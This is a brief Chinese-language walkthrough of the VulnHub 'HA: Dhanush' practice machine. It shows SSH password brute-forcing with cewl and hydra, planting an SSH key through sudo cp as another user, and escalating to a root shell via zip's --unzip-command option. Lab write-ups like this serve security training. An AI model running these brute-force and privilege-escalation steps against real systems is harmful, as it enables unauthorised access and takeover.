靶机下载链接：

https://www.vulnhub.com/entry/ha-dhanush,396/

主机扫描：

 

主机端口扫描：

 

HTTP目录爬取

使用dirb dirsearch 爬取均未发现可利用的目录

另外看到ssh端口开启了，进行网页爬取字典生成进行爆破

cewl http://10.10.202.147 -w dict.txt

 

╰─ hydra -L dict.txt 10.10.202.147 ssh -s 65345 -e nsr

 

 

尝试复制passwd文件提示无权限，用户sarangy用户才具有cp的root权限执行

这里的思路：

pinak用户生成秘钥对，然后使用过cp命令复制到用户sarang用户的.ssh目录为authorized_keys文件

然后ssh -i rsa_id 进行登录，尝试提权

 

sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys

 

 

zip命令提权

sudo zip /tmp/test.zip /home/sarang/test -T --unzip-command="sh -c /bin/bash"

 

 OVER!